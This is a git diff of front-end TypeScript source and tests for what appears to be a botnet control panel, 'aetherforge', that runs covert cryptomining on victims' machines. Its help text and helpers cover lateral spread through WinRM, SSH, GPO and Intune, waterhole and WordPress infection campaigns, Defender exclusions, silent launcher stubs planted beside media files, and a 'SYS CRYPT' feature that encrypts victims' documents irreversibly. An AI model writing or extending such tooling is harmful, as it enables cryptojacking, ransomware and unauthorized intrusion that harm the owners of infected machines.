'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
|
||||
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
|
||||
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
|
||||
miner_execution:
|
||||
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
|
||||
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
|
||||
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
|
||||
schedule_start: 'For Scheduled mode: daily start time (24h).',
|
||||
|
||||
@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook tabs', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -13,6 +13,11 @@ export interface EmberwakeTechniqueLink {
|
||||
|
||||
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
|
||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
{
|
||||
label: 'LOTL Onion tiers',
|
||||
anchor: 'lotl-onion',
|
||||
hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
|
||||
},
|
||||
{
|
||||
label: 'Web waterhole',
|
||||
anchor: 'web-waterhole',
|
||||
@@ -43,6 +48,21 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
anchor: 'lan',
|
||||
hint: 'Universal spread kit + autospread preset',
|
||||
},
|
||||
{
|
||||
label: 'WinRM bootstrap',
|
||||
anchor: 'winrm-bootstrap',
|
||||
hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
|
||||
},
|
||||
{
|
||||
label: 'Linux LOTL',
|
||||
anchor: 'linux-lotl',
|
||||
hint: 'systemd-run --user, crontab, SSH lateral spread',
|
||||
},
|
||||
{
|
||||
label: 'GPO / Intune',
|
||||
anchor: 'enterprise-gpo',
|
||||
hint: 'Startup scripts — mining policy stays on command deck',
|
||||
},
|
||||
{
|
||||
label: 'WordPress plugin',
|
||||
anchor: 'wordpress',
|
||||
|
||||
13
server/web/src/help/spreadTemplateExport.test.ts
Normal file
13
server/web/src/help/spreadTemplateExport.test.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { SPREAD_TEMPLATES, spreadTemplateZipName } from './spreadTemplateExport';
|
||||
|
||||
describe('spreadTemplateExport', () => {
|
||||
it('lists enterprise spread templates', () => {
|
||||
expect(SPREAD_TEMPLATES.map((t) => t.id)).toEqual(['winrm', 'linux-lotl', 'gpo', 'intune']);
|
||||
});
|
||||
|
||||
it('maps template ids to zip filenames', () => {
|
||||
expect(spreadTemplateZipName('winrm')).toBe('aetherforge-winrm-bootstrap.zip');
|
||||
expect(spreadTemplateZipName('linux-lotl')).toBe('aetherforge-linux-lotl.zip');
|
||||
});
|
||||
});
|
||||
52
server/web/src/help/spreadTemplateExport.ts
Normal file
52
server/web/src/help/spreadTemplateExport.ts
Normal file
@@ -0,0 +1,52 @@
|
||||
/** Spread template export helpers (Tasks 9/12/13) */
|
||||
|
||||
export type SpreadTemplateId = 'winrm' | 'linux-lotl' | 'gpo' | 'intune';
|
||||
|
||||
export interface SpreadTemplateMeta {
|
||||
id: SpreadTemplateId;
|
||||
label: string;
|
||||
hint: string;
|
||||
docAnchor: string;
|
||||
}
|
||||
|
||||
export const SPREAD_TEMPLATES: SpreadTemplateMeta[] = [
|
||||
{
|
||||
id: 'winrm',
|
||||
label: 'WinRM bootstrap',
|
||||
hint: 'Enable-PSRemoting + encoded register; COM hijack optional (off by default)',
|
||||
docAnchor: 'winrm-bootstrap',
|
||||
},
|
||||
{
|
||||
id: 'linux-lotl',
|
||||
label: 'Linux LOTL',
|
||||
hint: 'systemd-run --user / crontab + SSH spread flags',
|
||||
docAnchor: 'linux-lotl',
|
||||
},
|
||||
{
|
||||
id: 'gpo',
|
||||
label: 'GPO startup',
|
||||
hint: 'Computer startup script — policy on server, not in GPO blob',
|
||||
docAnchor: 'enterprise-gpo',
|
||||
},
|
||||
{
|
||||
id: 'intune',
|
||||
label: 'Intune script',
|
||||
hint: 'Proactive remediation — defer mining until C2 diagnostics',
|
||||
docAnchor: 'enterprise-intune',
|
||||
},
|
||||
];
|
||||
|
||||
export function spreadTemplateZipName(id: SpreadTemplateId): string {
|
||||
switch (id) {
|
||||
case 'winrm':
|
||||
return 'aetherforge-winrm-bootstrap.zip';
|
||||
case 'linux-lotl':
|
||||
return 'aetherforge-linux-lotl.zip';
|
||||
case 'gpo':
|
||||
return 'aetherforge-gpo-startup.zip';
|
||||
case 'intune':
|
||||
return 'aetherforge-intune-startup.zip';
|
||||
default:
|
||||
return 'aetherforge-spread-template.zip';
|
||||
}
|
||||
}
|
||||
@@ -45,6 +45,8 @@ describe('UI_HELP', () => {
|
||||
'crucible_section_files_advanced',
|
||||
'crucible_section_destructive',
|
||||
'crucible_section_spread',
|
||||
'crucible_section_cred_graph',
|
||||
'crucible_section_service_graph',
|
||||
'crucible_section_seek',
|
||||
'crucible_section_ssh',
|
||||
'crucible_section_tunnels',
|
||||
|
||||
@@ -36,7 +36,7 @@ export const UI_HELP: Record<string, string> = {
|
||||
crucible_heat_map:
|
||||
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
|
||||
crucible_groups:
|
||||
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
|
||||
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_tab_ops:
|
||||
@@ -50,11 +50,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
crucible_tab_tunnels:
|
||||
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
|
||||
crucible_mining_ops:
|
||||
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
|
||||
'Fleet health power management: pause or resume hashing on selected online nodes. Mining telemetry egresses on the agent WebSocket (same port as heartbeat) — the agent process stays connected.',
|
||||
crucible_resume:
|
||||
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
|
||||
'Fleet health job: restore hashing workload after a pause or idle throttle.',
|
||||
crucible_pause:
|
||||
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
|
||||
'Fleet health job: power down hashing on selected nodes without stopping the agent — they stay connected on WSS.',
|
||||
crucible_full_audit:
|
||||
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||
crucible_posture_badge:
|
||||
@@ -84,7 +84,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
crucible_section_destructive:
|
||||
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
|
||||
crucible_section_spread:
|
||||
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
|
||||
'On-demand lateral spread, subnet discovery, SMB shares, credential vault names, and Probe & Join (discover_and_join).',
|
||||
crucible_section_cred_graph:
|
||||
'Read-only credential affinity edges per /24 subnet — success/fail counts from authorized spread runs (no secrets).',
|
||||
crucible_section_service_graph:
|
||||
'Enumerated services and join-lane candidates for the selected agent subnet (from discover_and_join / service probe).',
|
||||
crucible_section_seek:
|
||||
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
|
||||
crucible_section_ssh:
|
||||
|
||||
94
server/web/src/help/warRoomTelemetry.test.ts
Normal file
94
server/web/src/help/warRoomTelemetry.test.ts
Normal file
@@ -0,0 +1,94 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
aggregateCampaignTelemetry,
|
||||
effectiveMiningHashrate,
|
||||
hashHeatIntensity,
|
||||
lotlTierLabel,
|
||||
maxTelemetryHashrate,
|
||||
mergeCampaignWithLiveTelemetry,
|
||||
} from './warRoomTelemetry';
|
||||
import type { WarRoomCampaign } from '../types';
|
||||
|
||||
describe('effectiveMiningHashrate', () => {
|
||||
it('prefers mining_hashrate when present', () => {
|
||||
expect(
|
||||
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
|
||||
).toBe(900);
|
||||
});
|
||||
|
||||
it('falls back to CPU + GPU hashrate', () => {
|
||||
expect(
|
||||
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
|
||||
).toBe(500);
|
||||
});
|
||||
});
|
||||
|
||||
describe('aggregateCampaignTelemetry', () => {
|
||||
it('groups online agents by campaign and sums hashrate', () => {
|
||||
const map = aggregateCampaignTelemetry([
|
||||
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
|
||||
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
|
||||
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
|
||||
]);
|
||||
const linkedin = map.get('linkedin');
|
||||
expect(linkedin?.online).toBe(2);
|
||||
expect(linkedin?.hashrate).toBe(500);
|
||||
expect(linkedin?.mining).toBe(2);
|
||||
expect(map.get('usb')?.hashrate).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('mergeCampaignWithLiveTelemetry', () => {
|
||||
const base: WarRoomCampaign = {
|
||||
campaign: 'linkedin',
|
||||
hits: 10,
|
||||
downloads: 5,
|
||||
agents: 2,
|
||||
online: 0,
|
||||
hashrate: 0,
|
||||
conversion_pct: 20,
|
||||
daily_hits: [1, 2, 3],
|
||||
};
|
||||
|
||||
it('overlays live hashrate and online counts', () => {
|
||||
const merged = mergeCampaignWithLiveTelemetry(base, {
|
||||
hashrate: 1200,
|
||||
online: 2,
|
||||
mining: 1,
|
||||
agents: [],
|
||||
});
|
||||
expect(merged.hashrate).toBe(1200);
|
||||
expect(merged.online).toBe(2);
|
||||
expect(merged.hits).toBe(10);
|
||||
});
|
||||
});
|
||||
|
||||
describe('hashHeatIntensity', () => {
|
||||
it('returns 0 for zero hashrate', () => {
|
||||
expect(hashHeatIntensity(0, 1000)).toBe(0);
|
||||
});
|
||||
|
||||
it('scales relative to fleet max', () => {
|
||||
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
|
||||
expect(hashHeatIntensity(2000, 1000)).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('lotlTierLabel', () => {
|
||||
it('returns uppercase tier or null', () => {
|
||||
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
|
||||
expect(lotlTierLabel('')).toBeNull();
|
||||
expect(lotlTierLabel(undefined)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('maxTelemetryHashrate', () => {
|
||||
it('finds peak campaign hashrate', () => {
|
||||
const map = aggregateCampaignTelemetry([
|
||||
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
|
||||
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
|
||||
]);
|
||||
expect(maxTelemetryHashrate(map)).toBe(450);
|
||||
});
|
||||
});
|
||||
78
server/web/src/help/warRoomTelemetry.ts
Normal file
78
server/web/src/help/warRoomTelemetry.ts
Normal file
@@ -0,0 +1,78 @@
|
||||
import type { Agent, WarRoomCampaign } from '../types';
|
||||
|
||||
export interface CampaignLiveTelemetry {
|
||||
hashrate: number;
|
||||
online: number;
|
||||
mining: number;
|
||||
agents: Agent[];
|
||||
}
|
||||
|
||||
/** Effective mining hashrate from WS stats (explicit field or CPU+GPU fallback). */
|
||||
export function effectiveMiningHashrate(agent: Agent): number {
|
||||
const explicit = agent.mining_hashrate;
|
||||
if (typeof explicit === 'number' && Number.isFinite(explicit) && explicit >= 0) {
|
||||
return explicit;
|
||||
}
|
||||
const cpu = agent.hashrate_15m ?? agent.hashrate_15s ?? 0;
|
||||
const gpu = agent.gpu_hashrate_15m ?? agent.gpu_hashrate_15s ?? 0;
|
||||
return cpu + gpu;
|
||||
}
|
||||
|
||||
/** Group live fleet agents by spread campaign slug. */
|
||||
export function aggregateCampaignTelemetry(agents: Agent[]): Map<string, CampaignLiveTelemetry> {
|
||||
const map = new Map<string, CampaignLiveTelemetry>();
|
||||
for (const agent of agents) {
|
||||
const slug = agent.campaign?.trim();
|
||||
if (!slug) continue;
|
||||
let entry = map.get(slug);
|
||||
if (!entry) {
|
||||
entry = { hashrate: 0, online: 0, mining: 0, agents: [] };
|
||||
map.set(slug, entry);
|
||||
}
|
||||
entry.agents.push(agent);
|
||||
if (agent.status === 'online') {
|
||||
entry.online += 1;
|
||||
const hr = effectiveMiningHashrate(agent);
|
||||
entry.hashrate += hr;
|
||||
if (hr > 0) entry.mining += 1;
|
||||
}
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
/** Overlay live WS hashrate onto REST/WS funnel campaign rows. */
|
||||
export function mergeCampaignWithLiveTelemetry(
|
||||
campaign: WarRoomCampaign,
|
||||
live?: CampaignLiveTelemetry,
|
||||
): WarRoomCampaign {
|
||||
if (!live) return campaign;
|
||||
return {
|
||||
...campaign,
|
||||
hashrate: live.hashrate,
|
||||
online: live.online,
|
||||
mining: live.mining > 0 ? live.mining : campaign.mining,
|
||||
};
|
||||
}
|
||||
|
||||
/** Heat intensity 0–1 for CSS `--hash-heat` (aether ember glow). */
|
||||
export function hashHeatIntensity(hashrate: number, maxHashrate: number): number {
|
||||
if (!hashrate || hashrate <= 0) return 0;
|
||||
if (maxHashrate <= 0) return 0.35;
|
||||
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
|
||||
}
|
||||
|
||||
/** Display label for LOTL tier badge; null when unset. */
|
||||
export function lotlTierLabel(tier?: string): string | null {
|
||||
const t = tier?.trim();
|
||||
if (!t) return null;
|
||||
return t.toUpperCase();
|
||||
}
|
||||
|
||||
/** Max live hashrate across campaign telemetry (for heat normalization). */
|
||||
export function maxTelemetryHashrate(telemetry: Map<string, CampaignLiveTelemetry>): number {
|
||||
let max = 0;
|
||||
for (const t of telemetry.values()) {
|
||||
if (t.hashrate > max) max = t.hashrate;
|
||||
}
|
||||
return max;
|
||||
}
|
||||
@@ -33,6 +33,89 @@ describe('agentStatsUnchanged', () => {
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when mining cascade fields change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: false,
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
active_method: 'container',
|
||||
}),
|
||||
).toBe(false);
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when mining_hashrate or lotl_tier change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
mining_hashrate: 500,
|
||||
lotl_tier: 'tier-1',
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
mining_hashrate: 600,
|
||||
}),
|
||||
).toBe(false);
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
lotl_tier: 'tier-2',
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when lotl_attempts change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
lotl_attempts: [{ tier: 'container', ok: false, duration_ms: 500 }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
lotl_attempts: [{ tier: 'container', ok: true, duration_ms: 500 }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
||||
|
||||
@@ -39,10 +39,22 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
|
||||
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
|
||||
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
|
||||
if (u.active_method !== undefined && agent.active_method !== u.active_method) return false;
|
||||
if (u.last_error !== undefined && agent.last_error !== u.last_error) return false;
|
||||
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
|
||||
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
|
||||
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
|
||||
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
|
||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
||||
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
||||
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -55,6 +67,19 @@ function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
|
||||
return true;
|
||||
}
|
||||
|
||||
function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('../types/lotl').TierAttempt[]): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
const x = a[i];
|
||||
const y = b[i];
|
||||
if (x.tier !== y.tier || x.ok !== y.ok || x.error !== y.error || x.duration_ms !== y.duration_ms) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'presence_snapshot',
|
||||
|
||||
123
server/web/src/hooks/useFleetBulkActions.test.ts
Normal file
123
server/web/src/hooks/useFleetBulkActions.test.ts
Normal file
@@ -0,0 +1,123 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { act, renderHook, waitFor } from '@testing-library/react';
|
||||
import { useFleetBulkActions } from './useFleetBulkActions';
|
||||
import { api } from '../api/client';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
vi.mock('../api/client', () => ({
|
||||
api: {
|
||||
bulkDeleteAgents: vi.fn(),
|
||||
sendBulkCommand: vi.fn(),
|
||||
sendAgentCommand: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
const bulkDeleteMock = vi.mocked(api.bulkDeleteAgents);
|
||||
const sendBulkMock = vi.mocked(api.sendBulkCommand);
|
||||
|
||||
function renderBulkHook(agents: Agent[], selectedIds: string[]) {
|
||||
const selected = new Set(selectedIds);
|
||||
return renderHook(() => useFleetBulkActions({ agents, selectedIds: selected }));
|
||||
}
|
||||
|
||||
describe('useFleetBulkActions', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
bulkDeleteMock.mockResolvedValue({ success: true, deleted: 1 });
|
||||
sendBulkMock.mockResolvedValue({ success: true, sent: 1, failed: 0, action: 'restart' });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
describe('bulk delete confirm path', () => {
|
||||
it('calls bulkDeleteAgents when operator confirms', async () => {
|
||||
const agent = mockAgent({ id: 'del-1' });
|
||||
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
|
||||
const { result } = renderBulkHook([agent], ['del-1']);
|
||||
|
||||
await act(async () => {
|
||||
await result.current.handleBulkAction('delete');
|
||||
});
|
||||
|
||||
expect(confirmSpy).toHaveBeenCalledWith(
|
||||
'Permanently remove 1 machine(s) from the fleet roster?',
|
||||
);
|
||||
expect(bulkDeleteMock).toHaveBeenCalledWith(['del-1']);
|
||||
expect(sendBulkMock).not.toHaveBeenCalled();
|
||||
confirmSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('skips bulkDeleteAgents when operator declines', async () => {
|
||||
const agent = mockAgent({ id: 'del-2' });
|
||||
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(false);
|
||||
const { result } = renderBulkHook([agent], ['del-2']);
|
||||
|
||||
await act(async () => {
|
||||
await result.current.handleBulkAction('delete');
|
||||
});
|
||||
|
||||
expect(confirmSpy).toHaveBeenCalled();
|
||||
expect(bulkDeleteMock).not.toHaveBeenCalled();
|
||||
confirmSpy.mockRestore();
|
||||
});
|
||||
});
|
||||
|
||||
describe('restart_idle', () => {
|
||||
it('filters to online idle miners and sends restart bulk command', async () => {
|
||||
const idle = mockAgent({ id: 'idle-1', status: 'online', hashrate_15m: 42 });
|
||||
const active = mockAgent({ id: 'active-1', status: 'online', hashrate_15m: 1200 });
|
||||
const offlineIdle = mockAgent({ id: 'off-1', status: 'offline', hashrate_15m: 0 });
|
||||
const { result } = renderBulkHook(
|
||||
[idle, active, offlineIdle],
|
||||
['idle-1', 'active-1', 'off-1'],
|
||||
);
|
||||
|
||||
await act(async () => {
|
||||
await result.current.handleBulkAction('restart_idle');
|
||||
});
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendBulkMock).toHaveBeenCalledWith(['idle-1'], 'restart');
|
||||
});
|
||||
});
|
||||
|
||||
it('alerts when no selected agents are idle miners', async () => {
|
||||
const active = mockAgent({ id: 'active-2', status: 'online', hashrate_15m: 800 });
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
const { result } = renderBulkHook([active], ['active-2']);
|
||||
|
||||
await act(async () => {
|
||||
await result.current.handleBulkAction('restart_idle');
|
||||
});
|
||||
|
||||
expect(alertSpy).toHaveBeenCalledWith(
|
||||
'No selected online agents with idle hashrate (< 100 H/s).',
|
||||
);
|
||||
expect(sendBulkMock).not.toHaveBeenCalled();
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
});
|
||||
|
||||
describe('mining_diagnostics', () => {
|
||||
it('calls sendBulkCommand with mining_diagnostics action for online selection', async () => {
|
||||
const a1 = mockAgent({ id: 'diag-1', status: 'online' });
|
||||
const a2 = mockAgent({ id: 'diag-2', status: 'online' });
|
||||
const offline = mockAgent({ id: 'diag-off', status: 'offline' });
|
||||
const { result } = renderBulkHook([a1, a2, offline], ['diag-1', 'diag-2', 'diag-off']);
|
||||
|
||||
await act(async () => {
|
||||
await result.current.handleBulkAction('mining_diagnostics');
|
||||
});
|
||||
|
||||
await waitFor(() => {
|
||||
expect(sendBulkMock).toHaveBeenCalledWith(['diag-1', 'diag-2'], 'mining_diagnostics');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
115
server/web/src/hooks/useFleetBulkActions.ts
Normal file
115
server/web/src/hooks/useFleetBulkActions.ts
Normal file
@@ -0,0 +1,115 @@
|
||||
import { useState, useEffect, useRef, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { agentIsIdleMiner } from '../help/fleetFilters';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
|
||||
import type { Agent } from '../types';
|
||||
import type { SeqCommandResult } from '../context/WebSocketContext';
|
||||
|
||||
interface Options {
|
||||
agents: Agent[];
|
||||
selectedIds: Set<string>;
|
||||
commandResults?: SeqCommandResult[];
|
||||
}
|
||||
|
||||
export function useFleetBulkActions({ agents, selectedIds, commandResults }: Options) {
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const screenshotWatchId = useRef<string | null>(null);
|
||||
const screenshotSeqRef = useRef(0);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||
const watch = screenshotWatchId.current;
|
||||
for (const r of commandResults) {
|
||||
if (r._seq <= screenshotSeqRef.current) continue;
|
||||
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
|
||||
screenshotSeqRef.current = r._seq;
|
||||
screenshotWatchId.current = null;
|
||||
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
|
||||
if (r.success && r.message) {
|
||||
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
|
||||
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
|
||||
} else {
|
||||
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}, [commandResults, agents]);
|
||||
|
||||
const handleBulkAction = useCallback(
|
||||
async (action: string) => {
|
||||
const ids = [...selectedIds];
|
||||
if (ids.length === 0) return;
|
||||
|
||||
if (action === 'delete') {
|
||||
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.bulkDeleteAgents(ids);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Bulk delete failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
let targetIds = ids;
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) {
|
||||
alert('No online agents in selection.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'screenshot') {
|
||||
if (onlineIds.length !== 1) {
|
||||
alert('Select exactly one online machine for screenshot.');
|
||||
return;
|
||||
}
|
||||
const id = onlineIds[0];
|
||||
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
|
||||
screenshotWatchId.current = id;
|
||||
if (commandResults?.length) {
|
||||
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
const res = await api.sendAgentCommand(id, 'screenshot');
|
||||
if (res.success === false) {
|
||||
screenshotWatchId.current = null;
|
||||
alert(res.error ?? 'Screenshot command rejected');
|
||||
}
|
||||
} catch (err) {
|
||||
screenshotWatchId.current = null;
|
||||
alert(err instanceof Error ? err.message : 'Screenshot failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'stop' && !window.confirm(`Power down agent process on ${onlineIds.length} machine(s)?`)) return;
|
||||
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
